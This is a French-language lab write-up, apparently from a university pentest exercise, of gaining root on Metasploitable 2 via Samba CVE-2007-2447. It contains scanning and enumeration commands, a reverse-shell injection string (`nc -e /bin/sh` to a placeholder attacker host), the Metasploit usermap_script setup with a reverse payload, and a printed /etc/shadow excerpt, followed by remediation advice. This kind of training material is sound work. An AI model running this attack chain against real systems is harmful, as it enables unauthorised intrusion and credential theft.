ZNote Logo
ZNote
Pentest Labseasy
14-04-2026

Accès Initial sur Metasploitable 2 — Exploitation Samba CVE-2007-2447

Rapport technique complet de pentest sur Metasploitable 2 : reconnaissance ARP, scan exhaustif Nmap, énumération Samba, exploitation CVE-2007-2447 (username map script) via Metasploit et obtention d'un shell root direct.

Pentest
Metasploitable 2
Samba
CVE-2007-2447
Metasploit
RCE
SMB
Reconnaissance
Énumération

Contexte & Cadre Légal

ChampDétail
CibleMetasploitable 2 — 192.168.227.129
AttaquantKali Linux — 192.168.227.128
RéseauVMware Host-Only — 192.168.227.0/24
CVE exploitéeCVE-2007-2447
ServiceSamba 3.0.20-Debian (SMB)
RésultatShell root sans authentification
Difficultéeasy

[!WARNING] Ce rapport documente un TP universitaire réalisé dans un laboratoire strictement isolé sous VMware Workstation. Toutes les actions décrites sont menées sur une machine volontairement vulnérable dans un cadre légal et éthique. La reproduction de ces techniques sur des systèmes sans autorisation explicite est illégale.

Kill chain :

Reconnaissance ARP (netdiscover)
        │
        ▼
Scan exhaustif TCP (nmap -p-)
        │  10 surfaces d'attaque identifiées
        ▼
Énumération Samba (smbclient + enum4linux)
        │  NULL session, utilisateurs, partages
        ▼
Identification CVE-2007-2447 (nmap smb-vuln* + searchsploit)
        │
        ▼
Exploitation Metasploit (usermap_script)
        │
        ▼
Shell root direct — compromission totale

Phase 1 — Reconnaissance

Objectif

Localiser précisément la machine cible sur le segment réseau VMware afin d'obtenir une adresse IP valide et confirmée pour les phases ultérieures.

Choix de l'outil : ARP vs ICMP

netdiscover a été préféré à un simple ping ICMP pour une raison technique importante : les pare-feux et configurations système peuvent filtrer les paquets ICMP, tandis que les réponses ARP sont toujours autorisées au sein d'un même broadcast domain. Dans un réseau VMware Host-Only, tous les hôtes partagent le même segment — la découverte ARP est donc fiable et non filtrable.

sudo netdiscover -i eth1 -r 192.168.227.0/24
  • -i eth1 : Interface réseau de Kali connectée au segment VMware
  • -r 192.168.227.0/24 : Plage réseau à scanner

Résultats

 IP              At MAC Address     Count     Len  MAC Vendor / Hostname
 192.168.227.1   00:50:56:c0:00:03      1      60  VMware, Inc.
 192.168.227.129 00:0c:29:5d:18:bc      1      60  VMware, Inc.
 192.168.227.254 00:50:56:ea:72:73      1      60  VMware, Inc.
IPMACRôle présumé
192.168.227.100:50:56:c0:00:03Interface hôte (passerelle)
192.168.227.12900:0c:29:5d:18:bcCible — Metasploitable 2
192.168.227.25400:50:56:ea:72:73VMware (DHCP/DNS)

Analyse : L'adresse 192.168.227.129 est formellement attribuée à Metasploitable 2 grâce à son OUI VMware (00:0c:29) et son comportement typique. Cible confirmée — on passe au scan.


Phase 2 — Scanning & Discovery

Objectif

Cartographier exhaustivement les ports ouverts, les services en écoute et leurs versions exactes afin de constituer une surface d'attaque complète.

sudo nmap -p- -sV -sC -Pn -oN scan_nmap.txt 192.168.227.129
  • -p- : Scan des 65 535 ports TCP (aucun service caché ne sera manqué)
  • -sV : Détection précise des versions (indispensable pour la recherche d'exploits)
  • -sC : Scripts NSE standards (détection de failles connues, bannières)
  • -Pn : Pas de ping préalable
  • -oN : Sauvegarde au format texte pour archivage

Résultats

PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp   open  telnet      Linux telnetd
25/tcp   open  smtp        Postfix smtpd
53/tcp   open  domain      ISC BIND 9.4.2
80/tcp   open  http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp  open  rpcbind     2 (RPC #100000)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
512/tcp  open  exec        netkit-rsh rexecd
513/tcp  open  login?
514/tcp  open  shell       Netkit rshd
1099/tcp open  java-rmi    GNU Classpath grmiregistry
1524/tcp open  bindshell   Metasploitable root shell
2049/tcp open  nfs         2-4 (RPC #100003)
2121/tcp open  ftp         ProFTPD 1.3.1
3306/tcp open  mysql       MySQL 5.0.51a-3ubuntu5
3632/tcp open  distccd     distccd v1 ((GNU) 4.2.4)
5432/tcp open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open  vnc         VNC (protocol 3.3)
|_vnc-info: Security types: None, VNC Authentication (2)
6667/tcp open  irc         UnrealIRCd
8009/tcp open  ajp13       Apache Jvere (Protocol v1.3)
8180/tcp open  http        Apache Tomcat/Coyote JSP engine 1.1

Surfaces d'attaque priorisées

10 vecteurs identifiés, classés par simplicité d'exploitation et impact :

#PortServiceVecteur
121vsftpd 2.3.4Backdoor connue → shell direct
21524Bindshell rootShell root sans authentification
3139/445Samba 3.0.20CVE-2007-2447 — username map script → RCE root
46667UnrealIRCdBackdoor IRC → shell
580Apache 2.2.8+DAVWebDAV mal sécurisé, injection potentielle
68180Tomcat 5.5Déploiement WAR malveillant
72121ProFTPD 1.3.1RCE connue
83306MySQL 5.0.51aAuthentification faible, injection SQL
95900VNCAuthentification faible, brute-force
1022OpenSSH 4.7p1Brute-force, clés faibles (moins prioritaire)

Décision : On cible Samba 3.0.20 (priorité 3) — vecteur riche en enseignements techniques sur la mauvaise configuration et l'injection de commandes.


Phase 3 — Énumération Samba

Objectif

Collecter des informations détaillées sur Samba : partages accessibles, utilisateurs présents, configuration de sécurité, confirmation de vulnérabilité.

# Test d'accès anonyme et liste des partages
smbclient -L //192.168.227.129 -U "" -N

# Énumération complète
enum4linux -a 192.168.227.129

Pourquoi ces deux outils ?

  • smbclient -L -N vérifie rapidement les partages accessibles sans authentification
  • enum4linux -a automatise la collecte étendue : RID cycling, politique de mots de passe, OS, utilisateurs — sans passer par Metasploit à ce stade

Résultats — smbclient

Sharename       Type      Comment
---------       ----      -------
print$          Disk      Printer Drivers
tmp             Disk      oh noes!
opt             Disk
IPC$            IPC       IPC Service (metasploitable server Samba 3.0.20-Debian)
ADMIN$          IPC       IPC Service (metasploitable server Samba 3.0.20-Debian)

Server               Comment
WORKGROUP            METASPLOITABLE

Résultats — enum4linux (extraits significatifs)

[+] Got domain/workgroup name: WORKGROUP
[+] Server 192.168.227.129 allows sessions using username '', password ''

[+] Got OS info from srvinfo:
    METASPLOITABLE  Wk Sv PrQ Unx NT SNT metasploitable server (Samba 3.0.20-Debian)
    platform_id    : 500
    os version     : 4.9

[+] Users on 192.168.227.129:
index: 0x1  Account: games     Name: games
index: 0x6  Account: user      Name: just a user,111,,
index: 0x7  Account: www-data  Name: www-data
index: 0x8  Account: root      Name: root
index: 0xa  Account: postgres  Name: PostgreSQL administrator,,,
index: 0x14 Account: mysql     Name: MySQL Server,,,
index: 0x18 Account: msfadmin  Name: msfadmin,,,
index: 0x21 Account: tomcat55  Name: (null)

Synthèse de l'énumération

Workgroup         : WORKGROUP
Version Samba     : 3.0.20-Debian
Politique MDP     : complexité désactivée, longueur minimale = 0
NULL session      : autorisée (username='', password='')
Partage tmp       : accessible en lecture
Comptes sensibles : root, msfadmin, postgres, mysql, tomcat55

Interprétation : Configuration extrêmement permissive. La NULL session autorisée permet l'énumération complète sans credentials. L'absence de politique de mots de passe combinée à la version 3.0.20 confirme : les conditions d'exploitation de CVE-2007-2447 sont réunies.


Phase 4 — Identification de Vulnérabilités

Objectif

Confirmer la présence de CVE-2007-2447 sur Samba 3.0.20-Debian et évaluer son exploitabilité.

# Scripts Nmap NSE spécifiques Samba
nmap --script smb-vuln* -p 139,445 192.168.227.129 -oN smb_vuln_scan.txt

# Recherche d'exploits publics
searchsploit samba 3.0.20

Résultats — Nmap smb-vuln*

PORT    STATE SERVICE
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds
MAC Address: 00:0C:29:5D:18:BC (VMware)

Host script results:
| smb-vuln-ms10-061: false
| smb-vuln-ms10-054: false
|_smb-vuln-regsvc-dos: ERROR: Script execution failed

Résultats — searchsploit

Exploit Title                                                        | Path
---------------------------------------------------------------------|-------------------------
Samba 3.0.10 < 3.3.5 - Format String / Security Bypass              | multiple/remote/10095.txt
Samba 3.0.20 < 3.0.25rc3 - 'Username' map script Command Execution  | unix/remote/16320.rb
Samba < 3.0.20 - Remote Heap Overflow                                | linux/remote/7701.txt
Samba < 3.6.2 (x86) - Denial of Service (PoC)                       | linux_x86/dos/36741.py

La ligne unix/remote/16320.rb confirme un exploit public documenté pour notre version exacte.

Comprendre CVE-2007-2447 — Le mécanisme

CVE-2007-2447 est une vulnérabilité d'exécution de commandes arbitraires non authentifiée dans Samba 3.0.0 à 3.0.25rc3.

Cause racine : La directive username map script dans smb.conf permet d'exécuter un script externe pour mapper les noms d'utilisateurs. Samba 3.0.20 passe le nom d'utilisateur fourni par le client directement à un shell via popen(), sans aucune validation ni sanitisation.

Mécanisme d'injection :

Username envoyé par le client :
    /=`nohup nc -e /bin/sh ATTAQUANT 4444`

Commande construite par samba internement :
    /bin/sh -c "username map script /=`nohup nc -e /bin/sh ...`"

Le backtick ` force l'exécution dans le shell
→ nc se connecte en reverse vers l'attaquant avec un shell

[!WARNING] smbd tourne avec les privilèges root par défaut sur Metasploitable 2. La commande injectée s'exécute donc directement en tant que root — aucune élévation de privilèges nécessaire. Deux erreurs combinées : appel popen() sans sanitisation + service réseau exposé en root.


Phase 5 — Exploitation

Configuration Metasploit

msfconsole

msf6 > use exploit/multi/samba/usermap_script
msf6 exploit(multi/samba/usermap_script) > set RHOSTS 192.168.227.129
msf6 exploit(multi/samba/usermap_script) > set LHOST 192.168.227.128
msf6 exploit(multi/samba/usermap_script) > set PAYLOAD cmd/unix/reverse
msf6 exploit(multi/samba/usermap_script) > set LPORT 4444
msf6 exploit(multi/samba/usermap_script) > exploit

Ce que fait le module : Metasploit envoie une requête d'authentification SMB avec un username forgé contenant une commande shell encodée entre backticks. Samba passe ce username à popen(), déclenchant l'exécution — un bash se connecte en reverse sur notre listener.

Résultats

[*] Started reverse TCP double handler on 192.168.227.128:4444
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo KUOpzGIlCDRJi3oV;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] B: "KUOpzGIlCDRJi3oV\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (192.168.227.128:4444 -> 192.168.227.129:46XXX)

Shell obtenu. Aucune authentification nécessaire.


Phase 6 — Vérification de l'Accès

Confirmation des privilèges

whoami
root
id
uid=0(root) gid=0(root)
hostname && uname -a
metasploitable
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux

Stabilisation du shell

Le shell obtenu est basique (pas de TTY). On le stabilise :

python -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
root@metasploitable:/#

Preuves de compromission totale

root@metasploitable:/# cat /etc/shadow | head -3
root:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:14747:0:99999:7:::
daemon:*:14684:0:99999:7:::
bin:*:14684:0:99999:7:::
root@metasploitable:/# ls /root/
reset_logs.sh  vnc.log

Accès complet au système de fichiers, aux hashes de mots de passe et à tous les services en tant que root — compromission totale confirmée.


Conclusion

Kill chain complète

1. netdiscover      → Cible identifiée : 192.168.227.129
2. nmap -p-         → 25+ services, dont Samba 3.0.20 sur 139/445
3. smbclient        → NULL session + partages accessibles
4. enum4linux       → Utilisateurs, politique MDP absente
5. searchsploit     → CVE-2007-2447 confirmée, exploit public
6. Metasploit       → usermap_script exécuté avec succès
7. Shell root       → uid=0 sans authentification

Remédiation

Vecteur vulnérableProblèmeRemédiation
Samba 3.0.20Version non patchée depuis 2007Mettre à jour vers Samba ≥ 3.0.25rc3
username map scriptPassé à popen() sans validationDésactiver si non utilisé dans smb.conf
smbd en rootService réseau avec UID 0Appliquer le principe de moindre privilège
NULL session autoriséeÉnumération sans credentials possiblerestrict anonymous = 2 dans smb.conf
Politique MDP absenteLongueur minimale = 0, complexité désactivéeActiver une politique de mots de passe stricte

[!NOTE] CVE-2007-2447 date de 2007 — 19 ans au moment de ce lab. Metasploitable 2 est intentionnellement vulnérable, mais ce type de configuration (service non patché, tournant en root, NULL session autorisée) existe encore en production. C'est précisément pour ça que ce lab reste pertinent pédagogiquement.


Writeup rédigé par ZCook